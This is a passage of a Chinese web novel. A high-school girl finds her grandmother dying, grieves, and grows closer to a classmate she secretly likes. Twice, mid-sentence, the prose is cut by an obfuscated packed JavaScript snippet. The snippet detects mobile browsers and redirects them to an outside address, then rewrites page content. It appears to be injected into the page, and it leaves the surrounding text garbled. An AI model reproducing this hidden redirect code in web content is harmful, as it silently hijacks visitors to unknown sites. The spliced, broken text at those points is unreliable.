冬日漫长且冷寂,在她内心里冬天是静止的象征。没有树叶的簌簌作响,只有冷风透过枯枝呼啸,毫无生机,只有空洞般的回响。 再一个原因是,林岁岁入冬多病,小则感冒不止,大则高烧不退。尤其在考试前,高中作息不规律,生病的概率加大。 一月中旬,临近寒假,雪一场一场的下,没完没了,好像在宣告着什么。 林岁岁在期末考试的考场上奋笔疾书,长期的感冒令她精神不振,皮肤本就白皙,此时泛着病态般的白。嘴角的痣平时未显,现在却因为发白的唇,而清晰无比,显得越加脆弱。齐耳短发不知不觉中长了许多,掩盖住半张脸,她也懒得去管,一副可怜的模样。 关不严的窗户闯入一阵冷风,林岁岁打了个哆嗦,吸了吸鼻子,继续书写答题纸。 她真的好想冬眠啊。 幸好这是最后一场考试,结束后便可以一头扎进被窝,一睡不起。 高一楼沸沸扬扬,走廊里人头攒动,每个人脸上挂着疲惫但解脱的笑意,与高二高三的沉闷截然相反。 林岁岁从人流中挣扎出来,进了暖烘烘的教室,把围巾垫在桌上,躺在上面,昏睡过去。 没过多久,再睁眼时,夏年和陈雀刚从考场赶回来,带着一身冷气。 夏年把手放在一旁的暖气上取暖,“不是我说,岁岁,你咋老是生病呢,寒假好好让阿姨给你补一补身子。” 林岁岁用仅剩的力气支撑起身子,喝了口热水,“我一到冬天就这样,早习惯了。” 期末考试结束后,学校难得给高一学生放假两天,待过两天再返校领取期末和寒假作业。 放学时已将近六点,天越来越长,天幕割裂,淡蓝仍挣扎着不愿落幕。校门口有不少家长等候学生,喧嚣不断,林岁岁站在马路边,挥手向夏年他们道了别。 林岁岁拉高红色围巾,皱眉看着周围,怕是打不到车了。 原本因为她的身体状况,近期都是由林郁青接送,但是林岁岁突然收到林郁青的短信,说是市作家协会有会议,杨梦的学校由于临近放假也忙得不可开交。 她站在寒风中,思索片刻,决定先不回家,回家也空无一人,冷清得很,不如去离学校不远处的奶奶家。 上了高中后,学业猛一下增多,应接不暇,也很少有时间去陪奶奶。 更何况林岁岁有了想要考好的欲望,想要更靠近他的欲望。林岁岁从未想过自己会有这样的情绪,而且是对一个人。 她向来内心平静,甚至可以说是无欲无求,也或许是性子软胆子小的缘故吧。平日里看不出,大家都觉得她性格温和,没有脾气,是很好相处的类型,但其实林岁岁骨子里很怕那些耀眼的事或人,一碰上,敏感而温软的心会自动远离,生怕会灼烧。 所以从小,她都不会让自己进入两难的地步。 小时候看邻居姐姐弹钢琴很是耀眼,她便想要去学,可太难了,也可能是不适合,她便放弃;有一阵子喜欢轮滑,摔了几次,便又放弃;她学自行车,还是杨梦架着教会的,交朋友更是,遇到麻烦便想要远离,她只想舒舒服服地相处。 可能是逃避吧,可何必说的那么好听呢,也只是由于害怕而不敢去碰。 可李好不一样,她第一次从内心深处自己未踏足过的地方里,生出一种陌生的情绪。想要追寻他,想要靠近他,想要知晓他的阴影处到底隐藏了什么。 第一眼见他时,背影疏淡悲伤,往后再见他时却又明朗温和,他恰好矛盾,时而耀眼,时而黯淡,所以忍不住多看几眼。 或许只是希望他可以永远明亮。 他似月光洗过的清潭,冰凉干净,关于他的一切,林岁岁只是揣测,她是个好奇心极重的人,但也只是躲起来看看而已。 说起林岁岁为何喜欢躲在角落观察别人,是因为小时候,她个子矮小,有不少调皮可恶的男孩会欺负她,欺负惯了,林岁岁越发安静,只会躲在角落里,看着别人不知疲倦地闹。 有回,奶奶和她站在屋檐下听雨,又是那几个男生跑过,喊着她“小矮个”,她自己倒是无所谓,可是奶奶在身边,她顿时脸色涨红,耳朵也窜上红晕。 奶奶摸了摸她的头,只是说道:“我的好岁岁,受委屈了吧。” 她的眼泪瞬时和夏雨一般砸在地上,分不清楚。 奶奶蹲下,与她平视,“岁岁,你虽然个子矮,可你的心比别人细腻敏感,你要自己去发现自己的优点。你不是一无是处的,知道吗?” 小小的林岁岁哭得更加厉害,因为她被奶奶一眼看穿。 林岁岁不会因为别人说她的个子而自卑,她只是会乱想,为什么他们只看得到这样的自己,自己是不是一无是处,所以她会不安,会认为自己不够好。 后来,随着长大,大家喜欢那些写字好看,写一手好文字的孩子,她才被看到,被赞扬,被说性格好,她不以为意,小时候的事大抵都是自己的臆想和夸大,但喜欢在人群中寻找有趣的人成了兴趣。初中在林郁青的帮助下,也投过不少青少年期刊,这也成了必不可少的素材,久而久之,便下意识养成了习惯。 每个人都有不为人知的习惯,可在一个敏感而细腻的少女心里,这是可以逃避的方式。 谁的年少不是跌跌撞撞走过去的呢,毫无道理的,自顾自的低头走。 林岁岁转过拐角,还有一个路口便到奶奶家所在的十里巷,前方十字路口的绿灯正在倒数,她仍走得慢慢吞吞,到了黄线,站定,看着红灯亮起。 数着红灯的倒计时,红色的光芒下,蓦然出现一个熟悉的身影,蓝白色的校服,黑色的书包旁悬挂着一个香囊。 一辆大型车的喇叭声响起,林岁岁的心也跟着咯噔一下,川流不息的车流之外,少年的眉眼隐约一皱,林岁岁看不真切,只是看他拽了拽书包肩带,跑了两步,林岁岁的视线随之移动。 李好追赶上一位骑着三轮车的老爷爷,车里满是各色的盛开的花,那是一段距离不短的上坡路,林岁岁望着他在后面推着三轮车,帮着老爷爷轻松上坡,速度肉眼可见的加快。 林岁岁盯着少年真挚的身影,倏地一笑,在等待绿灯的人群中,咧出一个笑容。 绿灯随着她迫切的内心亮起,林岁岁快速过了马路,朝着他们的方向走去。 她离着不远,本想上前帮一下,但两人没等到她便上了坡,李好对着老爷爷的道谢摆摆手,挠挠头,想要转身。 林岁岁怕李好发现自己,急忙在一旁的报摊停住,装作挑杂志的样子。 她为什么要躲呢? 不管了,可能平日里偷看他,太多次了,已经习惯了。 卖花的老爷爷下了三轮车,“谢谢小伙子啦!” “没事,爷爷。” 李好跺跺脚,正欲离去,老爷爷又开口,“小伙子,拿朵花吧。” “不用了,小事。” 老爷爷不依不饶,“这都是今天没有卖出去的,留着也是要凋零的。” 李好低头轻笑,怕是拒绝不了,“好,那就挑一朵。” 夜幕悄然而至,路灯霎时亮起,掺杂着车辆发出的白光,蜿蜒的道路成为一条银河,人来人往。 林岁岁在其中注视着一个少年的身影,静默着,心却跳的剧烈。 李好站在一盏路灯下,影子拉长到远处,却显得孤寂,他目视着老爷爷的离开后,转身向右侧的巷子走去,冬夜里泛白的手里抓着一朵向日葵,茎秆笔直,花瓣是火烧云一般的橙红,随后隐没在巷子。 林岁岁呼出一口白雾,先前目光注视着他,此刻才回神猛咳几声,走了几步,在巷子口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499051|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路标下顿住。 十里巷东。 原来他的家与奶奶家离得那么近。 可自己却从未发现过,些许是十里巷是老城区,其中的道路错综复杂,奶奶家在西侧,这么多年来她也不喜乱逛,所以没有见过。 可能见过,或许擦肩而过,只是她没有注意。 林岁岁内心陡然蔓延出一股喜悦感,或许他们见过,这样缥缈的事,都能让她无比雀跃。 她在巷子里慢慢悠悠走着,路灯发出昏黄的灯光,红墙上摇曳着无尽夏的残枝。 周边的幽静,让她内心的无名激动逐渐平缓,感冒的疲惫感卷土重来,林岁岁连忙加快脚步赶往奶奶家。 奶奶家的院子里有一颗槐树比院墙高出不少,枯枝之间隐约露出砖红色的房屋。 院门虚掩,林岁岁挠了挠停在门外的野猫,随后进入院子,“奶奶,我来了。” 没有声响,院子静默无声,林岁岁只觉奶奶进来听力变差,没有听清,便脱鞋进了屋。 客厅的电视机演着小品,却没见奶奶的身影,林岁岁踩着略小的棉拖,步伐迟缓,不知为什么,突然一阵心慌。 十月份奶奶不慎摔倒去过一次医院,现在身体才刚无碍,千万不要出什么事。 林岁岁抓紧走到厨房,“奶奶?” 她刚转过橱柜,一眼便看到奶奶倒在厨房,只露出半个头,身体隐于流理台后,花白的头发下流淌着暗红的血液。 她的腿一下子软掉,全身像是通了电流,直直震向她的头,猛地一下没有反应过来,但身子早已下意识行动,磕磕绊绊走到奶奶身边,手止不住的颤抖。 林岁岁心如乱麻,看着那一团血液有些眩晕,眼下出现重影,手抖地抓出手机。 冷静,一定要冷静。 不敢乱动奶奶,她伸出手颤颤巍巍地试了一下鼻息。 急救电话这时也已打通,林岁岁的声线本就温软,此时却极力克制住,有些尖利,“喂,您好,我奶奶晕倒了,她之前摔倒过一次,当时是突发脑溢血,现在又晕倒了,撞到了头部,呼吸很微弱,麻烦你们快来。” 不敢耽误时间,语速迅速而清晰,又报上地址,随后给杨梦和林郁青分别打过电话。 市中心医院,林岁岁的手紧握着手机,双手和手机都沾满了干掉的血迹,她整个人在冷白色的光下,脆弱不堪,胃里不断翻涌酸涩难熬。 可奶奶更加难熬,她抬头使劲眨眨眼,望着天花板上无情的灯光。 拜托了,要好起来。 没过多久,林郁青和杨梦风尘仆仆赶过来,林郁青眼眶猩红,压抑着情绪,杨梦扶着他坐下。 走廊寂静无声,远处人来人往,都是焦急的神情,这个地方从不温柔。 林郁青握住林岁岁颤抖的手,想着她一定会自责,开口的声音沙哑,“岁岁,不是你的错,你已经做得很好了。” 她根本说不出话,只是点点头,眼泪吧嗒吧嗒在掉。 等待不知多长时间,长到林岁岁差点昏睡过去,门上“手术中”的灯才熄灭。 疲惫不堪的医生走出来,林郁青和杨梦步伐混乱地上前。 “抱歉,我们尽力了,送来的时间太晚了……” 那个高大的医生后面说了什么,林岁岁根本听不到,她的脑子嗡嗡作响,全身烫的不行,挣扎着站起来,胃又一阵翻涌,犯恶心的吐了出来。 都是她的错。如果自己没有在路上耽误那么多时间就好了,如果提前给奶奶打个电话确认一下就好了,如果她快一点到家,会不会不一样呢……= 可惜世界上没有如果,医院听到那么多的祈祷,那些未被神听到的祈愿,只能够听天由命。 深夜的医院冷冰冰的无情,楼下悠悠传来救护车的警笛声,响彻天穹。 林岁岁第一次直面死亡,便是至亲的人。 11. 11 窗外下起冬雨,天空黝黑深邃,雨滴砸在玻璃上,在静谧的夜里冲洗这一座城。 雨声之下,林岁岁睡不安稳,终于在某刻被惊醒,粗喘了几口气,而后迷迷糊糊看了一眼闹钟,清晨五点。 她感到眼尾发涩,伸手摸了摸,发现脸上有干涸的眼泪,眉头紧皱,反应片刻后意识回笼,她方在梦到了奶奶。 可是内容却没有印象,她晃晃脑袋想要努力想起那个梦,却怎么也记不清。 她倏地想起奶奶说过,梦还是不要记住的好。 那就算了吧。 奶奶已经去世半个月了,好在临近新年,亲戚朋友时常赶来问候,家里也不算太过阴郁。不过也只是如此,谁会在失去亲人后还在乎是不是新年呢。 林岁岁自打奶奶的葬礼结束后,她就把自己关在房间里看书或是发呆,与外界再无交集。 她是个容易沉溺其中的人,走出来需要更长的时间,更何况是生死。 喝了几口水,林岁岁翻来覆去睡不着,直接起身坐在窗边听雨,她很喜欢下雨天,每次下雨,奶奶都会唤她一声,两人一起在屋檐下一起听着雨声。 雨沥沥淅淅,细如丝,满天的雨,像是一场漫长的老旧电影。 可是再也没有不会有人和她一起听雨了。 雨会停,天会亮,一切都会被冲淡,大家都是背着回忆前行的人,没人能停留在原地。 / 除夕夜当晚,楼下鞭炮声连绵不绝,伴随着小孩的追逐尖叫,电视机里响着吵闹的春晚小品,一切都是那么的热闹祥和。 杨梦拿起一片歪七扭八的饺子皮,没忍住叹了口气,“岁岁,你还是别擀皮了,看春晚去吧。” 林岁岁撅撅嘴:“哦,好吧。” 看了会春晚,林岁岁觉得索然无味,“妈,我回屋一趟。” “行,饺子包好了叫你。” 林岁岁打开房间的灯,光亮驱走黑暗,一片亮堂.她透过刚擦过不久的窗户往漆黑的夜探了几眼,便关上窗户,在书桌前坐下。 她收起压住电脑键盘的书,一个一个收回书架,顺手打开电脑,蓝色的光照着林岁岁平静的脸。 她太久没有上线了,实在是封闭自己太久,好在这新年的气息吹散了一些郁结。 登上Q.Q后,迟钝的电脑反应半天,才把所有的消息更新完全。发消息最多的是夏年,林岁岁弯起嘴角,打开二人的对话框。 夏年:岁岁,你怎么没来领成绩啊。 夏年:我听叶珩说了你奶奶的事,你还好吗? 夏年:岁岁,等你心情好了,记得找我啊,我带你出去玩。 消息断断续续维持了一个月,哪怕林岁岁毫无回应,她也锲而不舍地分享着自己的生活。就连陈雀在妈妈的控制下,也抽空上了几次线,给她发来一些问候。 林岁岁觉得心里很暖,她以前其实没有什么关系很好的朋友,人际关系都是平平淡淡的,现在她觉得有朋友真的很好。 她拉着滚动条,把所有的未读消息都看过后,才退回顶端给夏年回消息。 林岁岁:抱歉,一直没有回你的消息,我现在好多了。 键盘声被哔哩啪啦的鞭炮声搅没,一阵喧嚣过后,林郁青敲了敲房门。 “岁岁,爸爸可以进来吗?” 林岁岁把从腿上滑落的毛毯捡起来,应了声好。 林郁青坐在床边,她盘腿坐在床上,等待着爸爸要说的话。 林郁青最近的状态可以说是糟糕透顶,头发毛躁,眼圈发黑,胡子也不知多久没刮,整个人甚至有股浓重的烟味。 林岁岁从小闻不得烟味,所以林郁青便戒掉了烟,好在他没有瘾,直到奶奶去世前,她都没有见过他抽烟。 她蓦然感到一股心酸,她到底是因为太过悲伤而神经大条了,自己是失去了奶奶,而林郁青确是失去了他的妈妈。 成年人不能一味悲伤,他们在现实中有许许多多需要操心的事,并不能像个小孩子一般把自己锁在房间里,仍要在外面对着风雨。 林郁青许久未开口,林岁岁也没有询问,只是仍由沉默滋长,但没人会感到不妥,倒是属于父女之间的默契。 终究还是林郁青开了口,声音沙哑低沉:“岁岁,爸爸和妈妈商量了一下,我们搬到奶奶那边去住,你觉得怎么样?” 出乎意料,林岁岁没有想到是这件事,但她不假思索地回答:“可以啊,那里离学校近,距离你们俩上班的地方也近啊,而且,那里也有奶奶的感觉……” 以前,林郁青和奶奶的关系一直处于冰点。 林郁青想要当一个作家,在那个时候的奶奶看来,这是非常荒谬和缥缈的,在她和爷爷的极力反对下,林郁青还是去了医学院上大学。 不过没上完两年,便退了学,自此天南海北的流浪着,直到爷爷病危,即将去世,他才回到青城。后来林郁青写的书小有名气,性子也收敛些,留在青城工作生活,不算富裕,但足够养活自己。 在一场读书会上认识杨梦,而后两人顺理成章地结婚。 奶奶对他的态度一直是爱答不理的样子,直到林岁岁的出生,才让奶奶真的相信,林郁青是愿意安顿下来的,对他的怨气也少减少些。 和所有俗套的故事一样,林郁青想要把奶奶从十里巷接过来,但是老人都不喜欢搬家,十里巷有熟悉的街坊邻居,搬来也是各自忙碌,留她一个人孤零零在家,所以奶奶便一个人留在十里巷,好在距离不远,每周能聚上一聚。 从上次奶奶住院,林郁青就一直愧疚不已,去奶奶的次数也越来越多,但没有想到还是出事了。 林岁岁知道,爸爸一定很自责,比她的自责深上百倍千倍。 她握住爸爸长年拿笔的手,“爸爸,你别太难过了,没有人能什么都能做好的,奶奶…奶奶她看你这样也不会放心的。” 林郁青在光下的发有几缕泛着白,苦笑一声,“没想到还要我们岁岁安慰我。” 安静的电脑响起熟悉的敲门声,与屋外杨梦呼喊林郁青的声音交织在一起,令林岁岁一时晃神。 林郁青起身,“哎,新的一年也要到了,都会好起来的。” 林岁岁仰头望向高大的身影,嘴角溢满笑容,“嗯,都会好起来的。” 房门一关,林岁岁又坐回电脑前,夏年的动漫头像闪烁着红点。 夏年:!!!岁岁你终于回我了!!! 林岁岁:抱歉,我才上线。 夏年:没关系,小事小事,年后出来玩吧。 林岁岁:好,听你的。 也是该出去和太阳接触接触了。 夏年:那就这么定啦,我多叫几个同学没事吧? 林岁岁盯着夏年的头像半响,想着自己也好久没有见过班里的同学了,也的确有些想念。 林岁岁:好,年后再说,新年快乐。 夏年:新年快乐!!! / 春节的热闹褪去,家里堆满亲朋好友送的礼品,还有尚未搬完的纸箱。空气中弥漫着灰尘,纷纷扬扬。 林岁岁站在阳台的光影里伸了一个懒腰,真是一个好天气。 呼吸几口新鲜空气后,她挽起袖子,开始收拾房间。 家里搬家这件事原本并不着急,这几天只搬一些常用物品过来就好,但是林岁岁的寒假时间缩短,再过一周便要开学补课,所以搬家的速度要加快,方便上下学。 送走最后一辆搬家公司的车后,林岁岁站在院子里,伸出手眯着眼睛看着阳光,干枯的槐花树,在冬日里显得寂寥。 十里巷是青城的老城区,房屋稀松,一到春天墙上便开满了无尽夏和蔷薇花,林岁岁每次来时整个巷子都弥漫着花香。 她想春天快些来。 一两天后,家里已经收拾得井井有条,空闲下来,便开始琢磨第二天和夏年他们去游乐场要穿什么。 因为李好也会去。 林岁岁不知道夏年是如何把李好叫来的,想来应该是沉嘉遥的死缠烂打吧,不过林岁岁也希望他去。 脑海中突然闪现他拿着向日葵消失在巷子里的那一幕,不知他住在哪里。 算了,自己早晚会知道的,只要有缘分。 / 翌日上午十点,在青城西区的游乐场前,林岁岁与夏年等人见面。她知道会有许多人来,但她也没有想到会有十几人。 陈雀、叶珩、于鹏飞、许飘……还有平时林岁岁并不熟悉的同学。 夏年解释过后,林岁岁就明白了。她不小心把消息发到班群里,结果其他人也非要跟来,夏年也不好拒绝,于是就变成了大队伍。 夏年揽过林岁岁的肩,“不用管他们的,人这么多一会儿就散了,我们玩我们的就行。” 她说得对,一帮人浩浩荡荡进了游乐场,还没走多远,便组成了四五个小团体,奔向各自想要玩的项目。 这家游乐场是青城最大的游乐场,虽然距离远一些,但是项目设施齐全,费用也适中,林岁岁他们买了一日通的票,可以玩全部的项目。 即便快到正午,阳光也不热烈,和煦温暖地笼罩着整片大地,喇叭里响着悦耳的流行音乐,夏年拉着林岁岁和陈雀去坐碰碰车,身后跟着李好、沉嘉遥和叶珩。 三个男生平日里就常在一起打篮球,关系在林岁岁看来已经算是亲密。此时,三人边走边做着投篮的动作,大笑不止。 林岁岁借着排队时拥挤的队伍,才认认真真地看向李好。 已经有一个多月没有见过他,李好依旧穿着那件白色的羽绒服,围了一个黑色的围巾,黑色的长裤贴身,映得他的腿更显修长,他也像其他的男生一样,哪怕再冷,也要穿着低低的袜露出白皙的脚踝,林岁岁盯着那一处略显通红的皮肤,唇角一弯。 刺眼的光瞬间照向没有防备的林岁岁,她缓缓眨眼,“夏年,你就不能关掉相机的闪光灯吗?” “抱歉抱歉,我借的社团学长的新相机玩玩,我还不太会搞。” 夏年垂眸继续研究相机,陈雀大概是刚给妈妈汇报过行踪,把手机揣进兜里,对上林岁岁的视线,找了个生硬的话题,“岁岁,你寒假作业写完了吗?” 林岁岁呆愣几秒,“……寒假作业是什么东西。” 她的呆滞令夏年发笑,“岁岁,你不会是忘记了吧?” 林岁岁缓缓点头,寒假作业自叶珩送来后,就不知道被扔到哪里了。 大抵是三人的声音过大,引起沉嘉遥的注意,他凑过来,手自然地搭在夏年的肩上,“作业这种东西,都是小事,你别担心,抄咱们级部 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在玩过人等候最多的过山车后,黄昏悄然而至,游乐场里到处悬挂的彩灯在他们下过山车时骤然亮起,五彩缤纷的,像是一个童话故事。 林岁岁一下过山车就头晕目眩,中午吃的烤肠差点就要重见天日,哪怕夏年再撒娇让她去坐摩天轮,她也坚决拒绝。 她坐在椅子上,看着几人走向摩天轮,影子紧紧挨着。 那刻,林岁岁前所未有地感觉到,青春真好,或者是青春里有这样一群人真好。 五彩斑斓的摩天轮重新转动起来,像是时间的齿轮,一格格缓缓移动。 身后的音乐喷泉响着悠扬的交响曲,路过的小孩嚷着要吃棉花糖,相拥而过的情侣们步伐缓慢而坚定,林岁岁坐在其中,安静看着这一切。 静坐一会儿后,她打了个冷颤,于是站起来,围着喷泉转了几圈,站在喷泉的石阶上看着远处的摩天轮发呆。 逐渐的,从光斑般模糊的人影中,走出一个熟悉的身影。 李好走得漫不经心,双手揣在兜里,他就逆着人流而来,好像身旁所有的人都只是为了陪衬他。 他一个人时,总是那么悲伤,像是黑夜的海,无人过问。 待李好走到面前时,林岁岁收敛情绪,装作诧异,“你怎么没坐摩天轮?” 李好抓抓吹乱的头发,“三个人一起,我不想当电灯泡,一个人坐也没啥意思。” 林岁岁莞尔,觉得这样的他有些可爱,更像是一个大男孩。 李好一个迈步,和她并肩站在石阶上,林岁岁被他突然的动作吓一跳,但面上依旧云淡风轻。 两人无言,她突然想起了顾城的那一首诗:“我们俩站着,不说话,就十分美好。” 真的很美好,林岁岁贪婪地嗅了嗅他身上好闻的味道,差点因为片刻的放松,就要脱口而出,你用的什么牌子的洗衣粉,这么好闻。 忍耐和不动声色。 李好目视前方,掠过眼前的光亮,看向更远处的深邃的夜空,丝毫没有注意到身旁女孩的紧张和无措,直到林岁岁似有若无地叹了口气。 他才猛然想起夏年朝向陈雀说的那句话,“岁岁的奶奶去世了,我今天要是太活跃了,你一定要拉住我啊。” 他只是无意间听到,本不该对她的私事多说一句,但不知想到什么,还是没忍住开了口。 李好的语气很凉,如冬夜的风无比冷冽,却蓦然打破沉寂,“林岁岁。” “啊,怎么了?”林岁岁垂眸盯着两人重叠在一起的影子,被他的声音吓到。 李好那瞬间的凝滞,不易察觉的脆弱感,却让林岁岁抓住,但也只是一瞬间而已。 他的语气直接却又不会让人感到不适,“我听夏年说了,你奶奶去世的事情。” 死亡不用躲避,林岁岁反而喜欢他这样的直接,相比避讳而言,这样的直白不会让她多想。 “嗯。”虽然要回应,但她并不知该说些什么,即使要面对,但是却不能习惯。 “不用忘记,慢慢的,就这样什么都不做,就会变淡的。”李好的语气过于平淡,听不出他的感受,但林岁岁知道,这是在安慰她。 不必埋怨自己沉溺在回忆里,时间自会帮你冲淡一切,让你怀揣着关于那个人的所有回忆也能向前走。 什么都不做就好。 林岁岁一眨不眨地望着他的侧脸,少年沉静而疏离,却能让她感受到温暖,她不知道他是经过了什么,才会拥有这样的神情,那样易碎,像是蒲公英一碰就散。 他能安慰她,可她却不能为他做什么,也不知道可以做什么,因为对他一无所知。 林岁岁擦去无意识掉落的眼泪,吸吸鼻子,在少年回头的那一瞬间,在他面前毫无遮掩的笑,“谢谢你,我会的。” 如果你也可以就好了,不管是什么。 李好偏头看向这个安静内向的女孩,轻笑出声,从兜里抽出手机,“你的Q.Q,等着来找我拿寒假作业。” “哦哦,好。” 林岁岁接过他的手机,在无法忽视的视线下输入自己的联系方式,手止不住颤抖。 幸好这是冬夜,不然无处可藏。 12. 12 从游乐场回到家时,刚过九点。 林岁岁把买来的发箍挂在墙上,简单收拾一下,洗过澡后才打开电脑,通过李好的好友申请。 林岁岁的手机只能接听电话和发短信,还是初中奶奶给她买的,她的物欲很低,也没有特别需要用到的地方,就用到现在。 登上Q.Q后,她在寂静无声的房间里,盯着那显示着新消息的小圆点,猛吸一口气。 不是在做梦,她真的有了李好的Q.Q。 为什么这么小的一件事,她却在电脑前傻傻的笑了许久,才确认通过。 李好的网名就是他的名字缩写LH,头像也简简单单,是一只橘色的猫,空间也什么都没有,还真是没有任何渠道可以了解他。 她迅速删掉了自己的访客记录。 林岁岁随后盯着李好的头像发呆,看久了仿佛那只橘猫在对着自己眨眼。 她在回家的路上一直在思考,如果他不提起,自己要不要主动问他借寒假作业。如果是平时,她真的没有胆量,可是现在,他不在眼前,也就不会紧张到卡壳,打字打出来的话,或许没有那么难? 不知过去多久,林岁岁终于鼓起勇气,打下了几个字。 林岁岁:在吗? 在等待回复的过程中,为了缓解焦虑,她随便找了一本英语习题册,做着阅读理解静静心。 一篇刚做完,十分钟左右的时间,李好刚好回复消息。 LH:在,作业太多了,拍照太麻烦,约个时间给你吧。 林岁岁手摸在键盘上,因为李好的回复,而有些慌张,手一使劲,打出一堆的空格。 意思就是说,她可以再见到他了? 好像,不如自己写了,怪麻烦他的。 林岁岁还没有想好如何回复时,李好又发来了消息。 LH:你家住哪,约个近的。 好像,这就是那个契机,林岁岁咬唇思索几秒,还是决定如实回答。 林岁岁:十里巷西。 窗外月影摇晃,李好单手握着略小的手机,腿交叉半倚在床上,沉嘉遥则在一旁的书桌旁玩着电脑游戏,游戏的音乐刺耳。 房间没开灯,只有屏幕的光亮。 “你声音给我关小点。” “哦哦。” 李好看到林岁岁住在十里巷的那一瞬间,微微皱眉,转头问沉嘉遥,“叶珩不是说和林岁岁一个小区吗,怎么她说住在十里巷?” “你问我,我问谁啊,我和她又不算很熟。”沉嘉遥使劲戳着电脑键盘,随之回想起什么,“哦,夏年好像提过,她搬到她奶奶家了,可能就是在这附近?” 李好点点头,也没放在心上,随手回了句话,约定好明天在十里巷东口的公交车站下见面后,便把手机扔在床上,去洗澡睡觉。 林岁岁一边读着英语题目,一边时不时撇上一眼电脑屏幕,根本无法做到不在意。 LH:我也在附近,那就明天下午两点,十里巷东口公交车站牌下见? 林岁岁:好,谢谢你。 等了许久,李好都没见回复,想来是对话已经,林岁岁便神情落寞的关上电脑。 / 一夜无梦,很快就到约定的时间,林岁岁拿着从市图书馆借来的书,打算顺道去还上。 阳光不灼眼,照的人暖暖的,道路宽阔而车流不息,林岁岁站在公交车站牌下,注视着李好可能会出现的巷子口。 她看了一会儿,就开始来回踱步,一会要和李好聊些什么好呢? 聊学习的话太无聊,聊篮球的话太突兀,聊其他的又找不到话题,她好像真的不太了解李好,除了仅有的观察可以知道他喜欢打篮球,其他的,她真的一无所知。 借作业给她的话,要不要请他吃点东西吧? 这样会不会又有点难为人家啊,要怎么说他才会同意。 林岁岁对着明晃晃的阳光无端的叹了口气,觉得好难啊。 刚过两点,李好出现在街角,身边跟着低头玩着手机的沉嘉遥,李好看他不专心,伸脚绊了他一下,引来沉嘉遥的不满,李好笑了,笑里是比冬日的阳光还要热烈的存在。 这下好了,他还带上了沉嘉遥。 看见林岁岁早已站在约定地点,两人没有继续插科打诨,一本正经的朝着这边走来,却是隐藏不住的少年气息。 林岁岁在阳光里晒了一会儿,此刻脸颊上泛着红晕,看着李好一步一步走来,好像他每次都是不一样的他,此刻的他,被阳光浸透,整个人周围笼罩着金色的光一般,耀眼无比,难以形容。 “等了很久?”李好靠近后,垂眸注视着她。 林岁岁下意识喉咙发紧,先前一个人的反复演练此刻没有任何用处,“没……没有,我才刚到。” 他也没有想要继续寻找话题,把手里拿着的一沓作业递过来,“可能和你们班的作业有不同,但级部统一的作业都在这了。” “好,谢谢你。” “没事。” 很简单的一次见面,林岁岁望着两人上公交车的背影,心里潮湿又酸涩,直到公交车消失在远处,才转身回家。 本来还想要请他吃点什么的,也没有机会提及。 不过林岁岁很快说服自己,还是等到开学再说吧。和他们单独相处,她可能会处处露馅,不如和夏年一起,她和沉嘉遥比较会烘托气氛。 远处正在下象棋的大爷们不知有什么争执,相互叫喊着,又夹杂着小孩子追逐打闹的尖叫声,一只橘色野猫从眼前跑过,又消失不见。 又是平凡的一天,只是在见过他之后,变得特别了一些。 所以是个好天气。 林岁岁回到家,看着怀里的那两本要去归还的书,苦涩地笑了一下。 阳光融融,她却心乱地忘记了原本要做的事。 / 的那天,林岁岁去学校去的很早。 她想要早点去学校还上李好的作业,哪怕在路上碰到也好,但林岁岁还没有摸清他的生活规律,只能早些来学校。 还好都住在十里巷,以后有许多时间去偷摸了解。 她本来想开学前几天约个时间归还作业,但是李好却直言开学也不迟,她也就没再坚持。 还是不要太过贪婪,要有自知之明。 校门口人潮涌动,熟悉的校服让林岁岁的心也变得安静下来,她好像对这个学校逐渐产生依赖感,连开学都迫不及待,只是她的期待旁人不易察觉。 刚进八班的教室,就看到夏年坐在座位上朝她挥手。 夏年披散着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499053|170253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发,天生的自来卷弯弯曲曲,犹如波浪一般滑腻柔软,极好看的桃花眼溢出笑容,一弯让林岁岁也下意识笑着回应。 “你这头发,不怕陈辉给你一剪子剪了吗。” 夏年顺顺头发,“没事,明天才正式开学呢……说实话,我来学校前还挺害怕的,但是我一进校门,看见了一个男生,他搞了个彩色鸡冠头,我简直笑疯了,我就想他都不怕我怕啥。” 在青城一中敢染发,那就在级部主任的雷区蹦跶。 度过短暂的寒假,大家许久未见,都在激烈地讨论着假期的趣事。 于鹏飞和夏年互相谴责对方的游戏水平,陈雀则在一旁困得直不起身,于鹏飞动作过大,引得桌子晃动时,陈雀才掀起沉重的眼皮,一脸无奈。 陈雀的假期不像在学校,在家里要时时刻刻被妈妈监视着,参加数不清的辅导班,连丝毫休息的时间都没有,上次和她们一起去游乐场还是陈雀妈妈有事出差才偷出来的时间。 林岁岁心疼她,但也无计可施,只得让那两人消停一点。 教学楼声音嘈杂,林岁岁估摸着时间差不多,李好应该已经在教室里,她将作业从书包里抽出来,却不小心夹带出一张硫酸纸。 林岁岁瞬间就把那张纸扯回书包,慌忙看了眼夏年,发现她没有注意到这边的情况,才舒了口气。 那张硫酸纸上写满了李好的名字,都是从他的作业上临摹下来的。 她在深夜,一遍又一遍,学着他的笔迹,写了无数遍他的名字。 差点被人发现自己的少女心事,林岁岁平缓片刻,才拿着他的作业起身,前往隔壁的七班。 